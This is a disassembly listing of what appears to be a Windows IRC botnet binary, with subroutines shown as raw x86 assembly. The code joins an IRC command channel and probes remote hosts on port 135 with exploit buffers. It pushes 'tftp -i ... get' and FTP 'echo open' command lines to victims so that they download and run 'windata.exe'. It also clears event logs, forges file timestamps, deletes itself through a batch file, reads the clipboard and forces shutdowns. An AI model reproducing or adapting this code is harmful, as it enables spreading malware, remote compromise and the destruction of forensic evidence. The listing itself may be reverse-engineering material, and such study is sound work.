[ebp+var_14] fimul [ebp+var_4] fmul ds:dbl_437978 call sub_41FE38 cmp eax, 1 jnz short loc_41A695 call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437948 call sub_41FE38 mov cl, 30h sub cl, al mov [ebp+esi+var_28], cl call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437940 call sub_41FE38 cmp eax, 1 jnz short loc_41A695 cmp [ebp+var_C], eax jge short loc_41A695 call sub_41ECDE mov [ebp+var_14], eax fild [ebp+var_14] fmul ds:dbl_437938 call sub_41FE38 mov cl, 30h sub cl, al mov [ebp+esi+var_27], cl loc_41A695: ; CODE XREF: sub_41A293+1B8j ; sub_41A293+386j ... push 14h lea eax, [ebp+var_28] push eax push [ebp+arg_0] call sub_41E860 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_41A293 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: seg000:0041A8D8p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi mov esi, offset asc_42FCE0 ; " " push esi push [ebp+arg_0] call sub_41E7B2 xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_41A6D2: ; CODE XREF: sub_41A6AE+35j push esi push ebx call sub_41E7B2 mov [ebp+edi*4+var_20], eax inc edi cmp edi, 8 pop ecx pop ecx jl short loc_41A6D2 cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_41A6F9 cmp esi, ebx jnz short loc_41A6F9 xor eax, eax inc eax jmp loc_41A79E ; --------------------------------------------------------------------------- loc_41A6F9: ; CODE XREF: sub_41A6AE+3Dj ; sub_41A6AE+41j push [ebp+var_20] push offset aPing ; "PING" call sub_41E990 test eax, eax pop ecx pop ecx push esi jnz short loc_41A723 lea eax, [ebp+var_220] push offset aPongS_0 ; "PONG %s\n" push eax call sub_41E6A6 add esp, 0Ch jmp short loc_41A77D ; --------------------------------------------------------------------------- loc_41A723: ; CODE XREF: sub_41A6AE+5Dj push offset a433 ; "433" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_41A744 push esi push offset a432 ; "432" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_41A79C loc_41A744: ; CODE XREF: sub_41A6AE+83j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41E5F0 lea eax, [ebp+var_420] push eax call sub_41A293 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset aNickS_1 ; "NICK %s\n" push eax call sub_41E6A6 add esp, 1Ch loc_41A77D: ; CODE XREF: sub_41A6AE+73j lea eax, [ebp+var_220] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call ds:dword_4441A0 ; send loc_41A79C: ; CODE XREF: sub_41A6AE+94j xor eax, eax loc_41A79E: ; CODE XREF: sub_41A6AE+46j pop edi pop esi pop ebx leave retn sub_41A6AE endp ; --------------------------------------------------------------------------- loc_41A7A3: ; DATA XREF: sub_41A954+57o push ebp mov ebp, esp mov eax, 4008h call sub_41EA20 push ebx push esi mov esi, [ebp+8] imul esi, 210h push edi push ds:dword_4DB794[esi] xor edi, edi lea eax, dword_4DB594[esi] inc edi push eax mov ds:dword_4DB588[esi], edi call sub_41A1C6 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov ds:dword_4DB58C[esi], eax jb loc_41A934 mov edi, 1000h push edi lea eax, [ebp-2008h] push ebx push eax call sub_41E5F0 lea eax, [ebp-2008h] push eax call sub_41A293 lea eax, [ebp-4008h] push eax call sub_41A293 lea eax, [ebp-3008h] push eax call sub_41A293 lea eax, [ebp-3008h] push eax lea eax, [ebp-4008h] push eax lea eax, [ebp-2008h] push eax lea eax, [ebp-1008h] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41E6A6 add esp, 2Ch lea eax, [ebp-1008h] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp-1008h] push eax push ds:dword_4DB58C[esi] call ds:dword_4441A0 ; send push edi lea eax, [ebp-1008h] push ebx push eax call sub_41E5F0 push edi lea eax, [ebp-1008h] push ebx push eax call sub_41E5F0 add esp, 18h jmp loc_41A914 ; --------------------------------------------------------------------------- loc_41A88F: ; CODE XREF: seg000:0041A92Ej xor eax, eax cmp [ebp-4], ebx jmp short loc_41A8FE ; --------------------------------------------------------------------------- loc_41A896: ; CODE XREF: seg000:0041A901j mov al, [ebp+eax-1008h] cmp al, 0Dh jz short loc_41A8BD cmp al, 0Ah jz short loc_41A8BD cmp dword ptr [ebp+8], 0FA0h jz short loc_41A8BD mov ecx, [ebp+8] inc dword ptr [ebp+8] mov [ebp+ecx-2008h], al jmp short loc_41A8F7 ; --------------------------------------------------------------------------- loc_41A8BD: ; CODE XREF: seg000:0041A89Fj ; seg000:0041A8A3j ... mov eax, [ebp+8] cmp eax, ebx jz short loc_41A8F7 push ds:dword_4DB58C[esi] mov [ebp+eax-2008h], bl lea eax, [ebp-2008h] push eax call sub_41A6AE test eax, eax pop ecx pop ecx ja short loc_41A934 push edi lea eax, [ebp-2008h] push ebx push eax call sub_41E5F0 add esp, 0Ch mov [ebp+8], ebx loc_41A8F7: ; CODE XREF: seg000:0041A8BBj ; seg000:0041A8C2j mov eax, [ebp-8] inc eax cmp eax, [ebp-4] loc_41A8FE: ; CODE XREF: seg000:0041A894j mov [ebp-8], eax jnz short loc_41A896 push edi lea eax, [ebp-1008h] push ebx push eax call sub_41E5F0 add esp, 0Ch loc_41A914: ; CODE XREF: seg000:0041A88Aj push ebx push edi lea eax, [ebp-1008h] push eax push ds:dword_4DB58C[esi] call ds:dword_444064 ; recv cmp eax, ebx mov [ebp-4], eax jg loc_41A88F loc_41A934: ; CODE XREF: seg000:0041A7E3j ; seg000:0041A8E1j mov ds:dword_4DB588[esi], ebx mov esi, ds:dword_4DB58C[esi] cmp esi, ebx jbe short loc_41A94B push esi call ds:dword_444218 ; closesocket loc_41A94B: ; CODE XREF: seg000:0041A942j pop edi pop esi xor eax, eax pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A954 proc near ; CODE XREF: sub_40274D+2FC0p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx mov [ebp+var_4], ebx jle short loc_41A9CF push esi push edi loc_41A966: ; CODE XREF: sub_41A954+77j xor edi, edi mov eax, offset dword_4DB588 loc_41A96D: ; CODE XREF: sub_41A954+28j cmp [eax], ebx jz short loc_41A97E add eax, 210h inc edi cmp eax, offset dword_4E1CA8 jl short loc_41A96D loc_41A97E: ; CODE XREF: sub_41A954+1Bj cmp edi, 31h jz short loc_41A9CD push [ebp+arg_0] mov esi, edi imul esi, 210h lea eax, dword_4DB594[esi] push eax call sub_41EEC0 mov eax, [ebp+arg_4] pop ecx pop ecx mov ds:dword_4DB794[esi], eax lea eax, [ebp+var_8] push eax push ebx push edi push offset loc_41A7A3 push ebx push ebx mov ds:dword_4DB588[esi], 1 call ds:dword_42B03C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_41A966 loc_41A9CD: ; CODE XREF: sub_41A954+2Dj pop edi pop esi loc_41A9CF: ; CODE XREF: sub_41A954+Ej pop ebx leave retn sub_41A954 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9D2 proc near ; CODE XREF: sub_41AA0A+127p ; sub_41AA0A+14Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] sub edi, [ebp+arg_C] xor esi, esi test edi, edi jle short loc_41AA00 loc_41A9E3: ; CODE XREF: sub_41A9D2+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] push [ebp+arg_8] add eax, esi push eax call sub_41F780 add esp, 0Ch test eax, eax jz short loc_41AA06 inc esi cmp esi, edi jl short loc_41A9E3 loc_41AA00: ; CODE XREF: sub_41A9D2+Fj xor al, al loc_41AA02: ; CODE XREF: sub_41A9D2+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41AA06: ; CODE XREF: sub_41A9D2+27j mov al, 1 jmp short loc_41AA02 sub_41A9D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA0A proc near ; CODE XREF: seg000:0040CCCFp ; seg000:0040CDBBp ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41EA20 mov eax, [ebp+arg_4] dec eax jz short loc_41AA47 dec eax jz short loc_41AA25 dec eax xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41AA25: ; CODE XREF: sub_41AA0A+14j push 3 push 1388h push [ebp+arg_0] call ds:dword_44417C ; inet_addr push eax call sub_40BC56 add esp, 0Ch neg eax sbb eax, eax and eax, 3 leave retn ; --------------------------------------------------------------------------- loc_41AA47: ; CODE XREF: sub_41AA0A+11j push esi push edi push 6 push 1 push 2 call ds:dword_444100 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz loc_41AB77 push ebx push 10h xor ebx, ebx lea eax, [ebp+var_10] push ebx push eax call sub_41E5F0 add esp, 0Ch push 87h mov [ebp+var_10], 2 call ds:dword_444260 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_4022BD pop ecx mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push esi call ds:dword_4440AC ; connect cmp eax, edi jz loc_41AB69 push ebx push 48h push offset dword_443370 push esi call ds:dword_4441A0 ; send cmp eax, edi jz loc_41AB69 push ebx mov esi, 2000h push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call ds:dword_444064 ; recv cmp eax, edi jz loc_41AB69 cmp [ebp+var_200E], 0Ch jnz short loc_41AB69 push ebx push 18h push offset dword_4433BC push [ebp+arg_4] call ds:dword_4441A0 ; send cmp eax, edi jz short loc_41AB69 push ebx push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call ds:dword_444064 ; recv mov esi, eax cmp esi, edi jz short loc_41AB69 cmp [ebp+var_200E], 2 jnz short loc_41AB69 push 10h push offset dword_4433D8 lea eax, [ebp+var_2010] push esi push eax call sub_41A9D2 add esp, 10h test al, al jz short loc_41AB49 cmp esi, 12Ch setnl bl inc ebx jmp short loc_41AB69 ; --------------------------------------------------------------------------- loc_41AB49: ; CODE XREF: sub_41AA0A+131j push 10h push offset dword_4433EC lea eax, [ebp+var_2010] push esi push eax call sub_41A9D2 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41AB69: ; CODE XREF: sub_41AA0A+9Dj ; sub_41AA0A+B4j ... push [ebp+arg_4] call ds:dword_444218 ; closesocket mov eax, ebx pop ebx jmp short loc_41AB79 ; --------------------------------------------------------------------------- loc_41AB77: ; CODE XREF: sub_41AA0A+55j xor eax, eax loc_41AB79: ; CODE XREF: sub_41AA0A+16Bj pop edi pop esi leave retn sub_41AA0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB7D proc near ; CODE XREF: sub_40274D+AEEp ; sub_40274D+B19p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_41AC08 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_41AC08 cmp [ebp+arg_8], esi jz short loc_41AC08 cmp byte ptr [eax], 0 jz short loc_41AC08 push ebx push edi call sub_42996A mov ebx, eax test ebx, ebx pop ecx jz short loc_41AC03 push [ebp+arg_4] push edi call sub_41F090 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_41ABFC sub eax, edi push eax push edi push ebx call sub_41E860 push [ebp+arg_8] mov eax, ebx sub eax, edi mov byte ptr [eax+esi], 0 call sub_41E1C0 push eax push [ebp+arg_8] push ebx call sub_41F2C0 push [ebp+arg_4] call sub_41E1C0 add eax, esi push eax push ebx call sub_41EED0 push ebx push edi call sub_41EEC0 add esp, 30h mov esi, edi loc_41ABFC: ; CODE XREF: sub_41AB7D+3Cj push ebx call sub_41E2A1 pop ecx loc_41AC03: ; CODE XREF: sub_41AB7D+2Bj mov eax, esi pop ebx jmp short loc_41AC0A ; --------------------------------------------------------------------------- loc_41AC08: ; CODE XREF: sub_41AB7D+Cj ; sub_41AB7D+13j ... xor eax, eax loc_41AC0A: ; CODE XREF: sub_41AB7D+89j pop edi pop esi pop ebp retn sub_41AB7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC0E proc near ; CODE XREF: sub_402472+C2p ; seg000:00413311p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi push 7D0h xor ebx, ebx lea eax, [ebp+var_7D0] push ebx push eax call sub_41E5F0 mov esi, [ebp+arg_0] push esi call sub_41E1C0 xor edi, edi inc edi add esp, 10h cmp eax, edi jge short loc_41AC46 or eax, 0FFFFFFFFh jmp short loc_41ACAD ; --------------------------------------------------------------------------- loc_41AC46: ; CODE XREF: sub_41AC0E+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_41AC67 loc_41AC52: ; CODE XREF: sub_41AC0E+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41AC5F cmp dl, 0Dh jnz short loc_41AC62 loc_41AC5F: ; CODE XREF: sub_41AC0E+4Aj mov [ecx+esi], bl loc_41AC62: ; CODE XREF: sub_41AC0E+4Fj inc ecx cmp ecx, eax jl short loc_41AC52 loc_41AC67: ; CODE XREF: sub_41AC0E+42j xor edx, edx cmp eax, ebx jle short loc_41AC8F loc_41AC6D: ; CODE XREF: sub_41AC0E+7Fj cmp [edx+esi], bl jnz short loc_41AC8A lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_41AC8A cmp edi, 1F4h jge short loc_41AC8F mov [ebp+edi*4+var_7D0], ecx inc edi loc_41AC8A: ; CODE XREF: sub_41AC0E+62j ; sub_41AC0E+6Aj inc edx cmp edx, eax jl short loc_41AC6D loc_41AC8F: ; CODE XREF: sub_41AC0E+5Dj ; sub_41AC0E+72j cmp [ebp+arg_4], ebx jz short loc_41ACAB push 7D0h lea eax, [ebp+var_7D0] push eax push [ebp+arg_4] call sub_41F400 add esp, 0Ch loc_41ACAB: ; CODE XREF: sub_41AC0E+84j mov eax, edi loc_41ACAD: ; CODE XREF: sub_41AC0E+36j pop edi pop esi pop ebx leave retn sub_41AC0E endp ; =============== S U B R O U T I N E ======================================= sub_41ACB2 proc near ; CODE XREF: sub_41B362+26p ; seg000:0041B40Ap arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_420B27 cmp al, 61h pop ecx jl short loc_41ACCD cmp al, 7Ah jg short loc_41ACCD movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_41ACCD: ; CODE XREF: sub_41ACB2+Ej ; sub_41ACB2+12j xor eax, eax retn sub_41ACB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACD0 proc near ; CODE XREF: sub_40274D+64B5p ; sub_40274D+74ACp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_42B01C ; RtlGetLastWin32Error push 0 push 100h mov esi, eax lea eax, [ebp+var_100] push eax push 400h push esi push 0 push 1200h call ds:dword_42B100 ; FormatMessageA lea eax, [ebp+var_100] loc_41AD09: ; CODE XREF: sub_41ACD0+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41AD15 cmp cl, 9 jnz short loc_41AD18 loc_41AD15: ; CODE XREF: sub_41ACD0+3Ej inc eax jmp short loc_41AD09 ; --------------------------------------------------------------------------- loc_41AD18: ; CODE XREF: sub_41ACD0+43j ; sub_41ACD0+5Bj ... mov byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_41AD32 mov cl, [eax] cmp cl, 2Eh jz short loc_41AD18 cmp cl, 21h jl short loc_41AD18 loc_41AD32: ; CODE XREF: sub_41ACD0+54j push esi lea eax, [ebp+var_100] push eax push [ebp+arg_0] mov esi, offset dword_4E1CA8 push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41E6FE add esp, 18h mov eax, esi pop esi leave retn sub_41ACD0 endp ; =============== S U B R O U T I N E ======================================= sub_41AD5A proc near ; CODE XREF: sub_40274D+22AFp push esi push 0 call ds:dword_44409C ; OpenClipboard test eax, eax jz short loc_41AD91 push 1 call ds:dword_44423C ; GetClipboardData mov esi, eax test esi, esi jz short loc_41AD91 push edi push esi call ds:dword_42B108 ; GlobalLock push esi mov edi, eax call ds:dword_42B104 ; GlobalUnlock call ds:dword_444080 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41AD91: ; CODE XREF: sub_41AD5A+Bj ; sub_41AD5A+19j xor eax, eax pop esi retn sub_41AD5A endp ; =============== S U B R O U T I N E ======================================= sub_41AD95 proc near ; CODE XREF: sub_40274D+725Fp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi push esi mov edi, offset aMirc_0 ; "mIRC" push edi call ds:dword_444160 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_41AE11 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_42B114 ; CreateFileMappingA push esi push esi push esi mov edi, eax push 0F001Fh push edi call ds:dword_42B110 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41E6A6 pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_4441CC ; SendMessageA push esi push 1 push 4C9h push ebp call ds:dword_4441CC ; SendMessageA push ebx call ds:dword_42B10C ; UnmapViewOfFile push edi call ds:dword_42B004 ; CloseHandle xor eax, eax inc eax pop ebx jmp short loc_41AE13 ; --------------------------------------------------------------------------- loc_41AE11: ; CODE XREF: sub_41AD95+16j xor eax, eax loc_41AE13: ; CODE XREF: sub_41AD95+7Aj pop edi pop esi pop ebp retn sub_41AD95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE17 proc near ; CODE XREF: sub_40A263+1FCp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push esi xor esi, esi push esi lea eax, [ebp+var_11C] push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_444124 ; SearchPathA test eax, eax jz short loc_41AEB8 push ebx push edi push esi mov edi, 80h push edi push 3 push esi mov esi, ds:dword_42B08C push 1 push 80000000h lea eax, [ebp+var_11C] push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41AEB6 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_42B11C ; GetFileTime push ebx mov ebx, ds:dword_42B004 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41AEB6 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_42B118 ; SetFileTime push esi call ebx ; CloseHandle loc_41AEB6: ; CODE XREF: sub_41AE17+51j ; sub_41AE17+87j pop edi pop ebx loc_41AEB8: ; CODE XREF: sub_41AE17+28j pop esi leave retn sub_41AE17 endp ; =============== S U B R O U T I N E ======================================= sub_41AEBB proc near ; CODE XREF: sub_40274D+14E0p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41C3D9 pop ecx pop ecx push 50005h push 6 call ds:dword_4441A4 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_41AEBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEDD proc near ; CODE XREF: sub_40274D+254Dp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_43C088, esi push edi jz short loc_41AF01 cmp ds:dword_444274, esi jnz short loc_41AF01 push esi call sub_401000 pop ecx loc_41AF01: ; CODE XREF: sub_41AEDD+13j ; sub_41AEDD+1Bj call sub_40AFF6 lea eax, [ebp+var_764] push eax push 400h call ds:dword_42B030 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41E6A6 add esp, 0Ch push esi push esi push 2 push esi push esi push 40000000h lea eax, [ebp+var_260] push eax call ds:dword_42B08C ; CreateFileA mov edi, eax cmp edi, esi jbe loc_41B061 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41E6A6 add esp, 0Ch push esi lea eax, [ebp+var_4] push eax lea eax, [ebp+var_764] push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_42B084 ; WriteFile push edi call ds:dword_42B004 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41E5F0 push 44h pop edi push edi lea eax, [ebp+var_58] push esi push eax call sub_41E5F0 add esp, 18h mov [ebp+var_58], edi mov edi, 104h push edi lea eax, [ebp+var_15C] push eax push esi mov [ebp+var_4C], offset byte_42B633 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_42B024 ; GetModuleHandleA push eax call ds:dword_42B00C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_42B050 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_41B009 push 80h lea eax, [ebp+var_15C] push eax call ds:dword_42B04C ; SetFileAttributesA loc_41B009: ; CODE XREF: sub_41AEDD+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41E6A6 add esp, 10h push edi lea eax, [ebp+var_364] push eax lea eax, [ebp+var_764] push eax call ds:dword_42B120 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi push esi lea eax, [ebp+var_364] push eax push esi call ds:dword_42B008 ; CreateProcessA loc_41B061: ; CODE XREF: sub_41AEDD+72j pop edi pop esi leave retn sub_41AEDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B065 proc near ; CODE XREF: sub_40274D+6E5Fp var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi push 94h xor edi, edi lea eax, [ebp+var_94] push edi push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+var_94] push eax mov [ebp+var_94], 94h call ds:dword_42B064 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_41B0FB push [ebp+arg_10] push [ebp+arg_C] call ds:dword_444248 ; OpenEventLogA push edi push eax call ds:dword_44411C ; ClearEventLogA test eax, eax jz short loc_41B0ED push [ebp+arg_10] push offset dword_437AD8 loc_41B0C6: ; CODE XREF: sub_41B065+94j lea eax, [ebp+var_294] push eax call sub_41E6A6 push edi push [ebp+arg_8] lea eax, [ebp+var_294] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 20h jmp short loc_41B125 ; --------------------------------------------------------------------------- loc_41B0ED: ; CODE XREF: sub_41B065+57j call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_437AB0 jmp short loc_41B0C6 ; --------------------------------------------------------------------------- loc_41B0FB: ; CODE XREF: sub_41B065+3Fj lea eax, [ebp+var_294] push offset unk_437A80 push eax call sub_41E6A6 push edi push [ebp+arg_8] lea eax, [ebp+var_294] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 1Ch loc_41B125: ; CODE XREF: sub_41B065+86j pop edi leave retn sub_41B065 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B128 proc near ; CODE XREF: seg000:0040CEF6p ; sub_40D7FE+434p ... var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A4h push esi push edi push 10h xor edi, edi lea eax, [ebp+var_14] push edi push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+arg_4] push eax mov [ebp+var_14], 2 call ds:dword_44417C ; inet_addr push [ebp+arg_BC] mov [ebp+var_10], eax call ds:dword_444260 ; htons push edi push 1 push 2 mov [ebp+var_12], ax call ds:dword_444100 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jz short loc_41B18E push 10h lea eax, [ebp+var_14] push eax push esi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_41B195 loc_41B18E: ; CODE XREF: sub_41B128+52j xor al, al jmp loc_41B247 ; --------------------------------------------------------------------------- loc_41B195: ; CODE XREF: sub_41B128+64j push ebx push edi mov ebx, 400h push ebx lea eax, [ebp+var_5A4] push eax push esi call ds:dword_444064 ; recv mov esi, offset aWindata_exe ; "windata.exe" push esi push esi push [ebp+arg_0] call sub_4023C9 pop ecx push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" mov edi, 190h lea eax, [ebp+var_1A4] push edi push eax call sub_41E6FE movzx eax, word ptr ds:dword_4D1FE4 add esp, 18h push esi push esi push eax push [ebp+arg_0] call sub_4023C9 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A4] push edi push eax call sub_41E6FE add esp, 1Ch lea eax, [ebp+var_1A4] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_41B228 xor al, al jmp short loc_41B246 ; --------------------------------------------------------------------------- loc_41B228: ; CODE XREF: sub_41B128+FAj push 0 push ebx lea eax, [ebp+var_5A4] push eax push [ebp+var_4] call ds:dword_444064 ; recv push [ebp+var_4] call ds:dword_444218 ; closesocket mov al, 1 loc_41B246: ; CODE XREF: sub_41B128+FEj pop ebx loc_41B247: ; CODE XREF: sub_41B128+68j pop edi pop esi leave retn sub_41B128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_41B24B proc near ; CODE XREF: sub_40274D+5347p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 1C0h lea eax, [ebp+6Ch+var_94] push eax mov [ebp+6Ch+var_94], 94h call ds:dword_42B064 ; GetVersionExA cmp [ebp+6Ch+var_90], 4 jnz short loc_41B283 cmp [ebp+6Ch+var_8C], 0 jnz loc_41B310 xor eax, eax inc eax cmp [ebp+6Ch+var_84], eax jz loc_41B30B loc_41B283: ; CODE XREF: sub_41B24B+20j ; sub_41B24B+CFj push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_42B018 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call ds:dword_42B020 ; GetProcAddress push 32h push [ebp+6Ch+arg_0] mov edi, eax lea eax, [ebp+6Ch+var_1C0] push eax call sub_4204DD push 32h push [ebp+6Ch+arg_4] lea eax, [ebp+6Ch+var_15C] push eax call sub_4204DD push 32h push [ebp+6Ch+arg_8] lea eax, [ebp+6Ch+var_F8] push eax call sub_4204DD lea eax, [ebp+6Ch+var_F8] push eax call sub_4206A3 shl eax, 1 push eax lea eax, [ebp+6Ch+var_F8] push eax lea eax, [ebp+6Ch+var_15C] push eax lea eax, [ebp+6Ch+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch push esi mov edi, eax call ds:dword_42B0F8 ; FreeLibrary mov eax, edi pop edi pop esi loc_41B30B: ; CODE XREF: sub_41B24B+32j ; sub_41B24B+D8j add ebp, 6Ch leave retn ; --------------------------------------------------------------------------- loc_41B310: ; CODE XREF: sub_41B24B+26j cmp [ebp+6Ch+var_8C], 0Ah jz short loc_41B320 cmp [ebp+6Ch+var_8C], 5Ah jnz 